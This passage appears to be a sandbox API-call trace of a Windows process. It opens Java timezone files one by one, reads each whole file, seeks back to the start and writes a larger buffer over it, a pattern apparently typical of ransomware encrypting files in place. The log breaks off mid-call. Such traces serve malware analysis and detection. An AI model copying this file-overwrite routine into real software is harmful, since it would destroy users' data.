WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Guadeloupe", cchWideChar=10, lpMultiByteStr=0x1e6314c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Guadeloupe", lpUsedDefaultChar=0x0) returned 10 [0050.044] ReadFile (in: hFile=0x170, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2a0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0050.045] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.045] WriteFile (in: hFile=0x170, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0050.046] CloseHandle (hObject=0x170) returned 1 [0050.046] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Petersburg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\petersburg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.046] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.047] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3ec [0050.047] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.047] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.047] ReleaseMutex (hMutex=0x128) returned 1 [0050.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Petersburg", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Petersburg", cchWideChar=10, lpMultiByteStr=0x1e630ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Petersburg", lpUsedDefaultChar=0x0) returned 10 [0050.047] ReadFile (in: hFile=0x170, lpBuffer=0x276a348, nNumberOfBytesToRead=0x3ec, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesRead=0x2a0f2bc*=0x3ec, lpOverlapped=0x0) returned 1 [0050.048] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.048] WriteFile (in: hFile=0x170, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x974, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x2a0f2d0*=0x974, lpOverlapped=0x0) returned 1 [0050.048] CloseHandle (hObject=0x170) returned 1 [0050.048] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Monticello" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky\\monticello"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.049] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.049] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4ec [0050.049] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.049] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.049] ReleaseMutex (hMutex=0x128) returned 1 [0050.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Monticello", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Monticello", cchWideChar=10, lpMultiByteStr=0x1e6340c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Monticello", lpUsedDefaultChar=0x0) returned 10 [0050.049] ReadFile (in: hFile=0x170, lpBuffer=0x1e17498, nNumberOfBytesToRead=0x4ec, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e17498*, lpNumberOfBytesRead=0x2a0f2bc*=0x4ec, lpOverlapped=0x0) returned 1 [0050.051] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.051] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xa74, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f2d0*=0xa74, lpOverlapped=0x0) returned 1 [0050.051] CloseHandle (hObject=0x170) returned 1 [0050.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Menominee" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\menominee"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.052] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.052] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4c0 [0050.052] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.052] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.052] ReleaseMutex (hMutex=0x128) returned 1 [0050.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Menominee", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Menominee", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Menominee", lpUsedDefaultChar=0x0) returned 9 [0050.052] ReadFile (in: hFile=0x170, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4c0, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x2a0f2bc*=0x4c0, lpOverlapped=0x0) returned 1 [0050.054] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.054] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xa48, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f2d0*=0xa48, lpOverlapped=0x0) returned 1 [0050.054] CloseHandle (hObject=0x170) returned 1 [0050.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Nassau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\nassau"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.061] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.061] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x504 [0050.061] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.061] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.061] ReleaseMutex (hMutex=0x128) returned 1 [0050.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nassau", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.061] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Nassau", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Nassau", lpUsedDefaultChar=0x0) returned 6 [0050.061] ReadFile (in: hFile=0x170, lpBuffer=0x1e17498, nNumberOfBytesToRead=0x504, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e17498*, lpNumberOfBytesRead=0x2a0f2bc*=0x504, lpOverlapped=0x0) returned 1 [0050.062] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.062] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xa8c, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f2d0*=0xa8c, lpOverlapped=0x0) returned 1 [0050.063] CloseHandle (hObject=0x170) returned 1 [0050.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Pangnirtung" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\pangnirtung"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.063] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.063] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x434 [0050.063] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.063] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.063] ReleaseMutex (hMutex=0x128) returned 1 [0050.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pangnirtung", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.063] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pangnirtung", cchWideChar=11, lpMultiByteStr=0x1e6340c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pangnirtung", lpUsedDefaultChar=0x0) returned 11 [0050.063] ReadFile (in: hFile=0x170, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x434, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x2a0f2bc*=0x434, lpOverlapped=0x0) returned 1 [0050.065] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.065] WriteFile (in: hFile=0x170, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x9bc, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x2a0f2d0*=0x9bc, lpOverlapped=0x0) returned 1 [0050.065] CloseHandle (hObject=0x170) returned 1 [0050.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Regina" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\regina"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.066] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.066] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1e1 [0050.066] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.066] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.066] ReleaseMutex (hMutex=0x128) returned 1 [0050.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Regina", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.066] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Regina", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Regina", lpUsedDefaultChar=0x0) returned 6 [0050.066] ReadFile (in: hFile=0x170, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1e1, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x2a0f2bc*=0x1e1, lpOverlapped=0x0) returned 1 [0050.067] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.067] WriteFile (in: hFile=0x170, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x769, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x2a0f2d0*=0x769, lpOverlapped=0x0) returned 1 [0050.067] CloseHandle (hObject=0x170) returned 1 [0050.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Johns" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_johns"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.068] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.068] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7d0 [0050.068] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.068] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.068] ReleaseMutex (hMutex=0x128) returned 1 [0050.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="St_Johns", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="St_Johns", cchWideChar=8, lpMultiByteStr=0x1e62fec, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="St_Johns", lpUsedDefaultChar=0x0) returned 8 [0050.068] ReadFile (in: hFile=0x170, lpBuffer=0x1dc0738, nNumberOfBytesToRead=0x7d0, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesRead=0x2a0f2bc*=0x7d0, lpOverlapped=0x0) returned 1 [0050.069] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.069] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xd58, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f2d0*=0xd58, lpOverlapped=0x0) returned 1 [0050.070] CloseHandle (hObject=0x170) returned 1 [0050.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Toronto" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\toronto"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0050.070] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.070] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x788 [0050.070] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.070] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.070] ReleaseMutex (hMutex=0x128) returned 1 [0050.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Toronto", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.070] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Toronto", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Toronto", lpUsedDefaultChar=0x0) returned 7 [0050.070] ReadFile (in: hFile=0x170, lpBuffer=0x1de8e08, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1de8e08*, lpNumberOfBytesRead=0x2a0f2bc*=0x788, lpOverlapped=0x0) returned 1 [0050.072] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.072] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f2d0*=0xd10, lpOverlapped=0x0) returned 1 [0050.072] CloseHandle (hObject=0x170) returned 1 [0050.072] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Macquarie" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\macquarie"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.530] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.530] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x311 [0050.530] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.530] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.530] ReleaseMutex (hMutex=0x128) returned 1 [0050.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Macquarie", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Macquarie", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Macquarie", lpUsedDefaultChar=0x0) returned 9 [0050.530] ReadFile (in: hFile=0x198, lpBuffer=0x275b028, nNumberOfBytesToRead=0x311, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x2a0f2bc*=0x311, lpOverlapped=0x0) returned 1 [0050.563] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.563] WriteFile (in: hFile=0x198, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x899, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2a0f2d0*=0x899, lpOverlapped=0x0) returned 1 [0050.563] CloseHandle (hObject=0x198) returned 1 [0050.563] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Anadyr" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\anadyr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.564] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.564] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x249 [0050.564] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.564] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.564] ReleaseMutex (hMutex=0x128) returned 1 [0050.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Anadyr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Anadyr", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Anadyr", lpUsedDefaultChar=0x0) returned 6 [0050.564] ReadFile (in: hFile=0x198, lpBuffer=0x1e54c78, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54c78*, lpNumberOfBytesRead=0x2a0f2bc*=0x249, lpOverlapped=0x0) returned 1 [0050.565] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.565] WriteFile (in: hFile=0x198, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7d1, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2a0f2d0*=0x7d1, lpOverlapped=0x0) returned 1 [0050.565] CloseHandle (hObject=0x198) returned 1 [0050.565] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Brunei" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\brunei"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.565] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.566] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4d [0050.566] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.566] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.566] ReleaseMutex (hMutex=0x128) returned 1 [0050.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Brunei", cchWideChar=6, lpMultiByteStr=0x0, 